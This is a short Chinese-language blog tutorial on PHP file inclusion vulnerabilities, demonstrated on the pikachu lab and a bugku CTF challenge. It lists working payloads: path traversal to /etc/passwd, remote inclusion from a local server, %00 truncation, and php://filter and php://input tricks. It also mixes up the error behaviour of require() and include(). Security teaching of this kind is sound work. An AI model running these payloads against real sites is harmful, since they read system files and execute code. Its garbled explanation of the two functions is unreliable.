Web安全-文件包含
一、了解文件包含
了解文件包含
什么是文件包含:为了更好地使用代码的重用性,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码,简单点来说就是一个文件里面包含另外一个或多个文件。
PHP引发文件包含的四个函数
include() //这里只介绍PHP的 include_once() require() require_once() include()和require()的区别: require()如果在包含过程中出错,就会直接退出,不执行后续语句 require()如果在包含过程中出错,只会提出警告,但不影响后续语句的执行
本地包含和远程包含
二、文件包含利用
这里拿pikachu进行演示,能找到CTF题就用它来演示
本地包含
顾名思义,也就是包含本地的文件。

?filename=../../../../../../../../../../etc/passwd ?filename=../../../../../../../../../../flag.txt //里面写的是phpinfo()
是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在,危害性会很大。 但远程文件包含漏洞的利用条件较为苛刻,需要php.ini中配置
?filename=http://192.168.195.1/yzx.txt //远程包含物理本机的文件,环境在虚拟机
包含基本姿势
1、%00截断
/etc/passwd%00
2、%00截断目录遍历
/etc/passwd/%00
3、路径长度判断
4、点号判断
三、伪协议
先来用先知上的一个师傅的总结

简单介绍几个吧
这里用bugku上面的一道题来演示一下

这里读出来的是base64,然后解码

?file=php://filter/read=convert.base64-encode/resource=index.php
?file=php://input PSOT data : <?php phpinfo(); ?>
就简单举例几个,今天的就到这吧。

浙公网安备 33010602011771号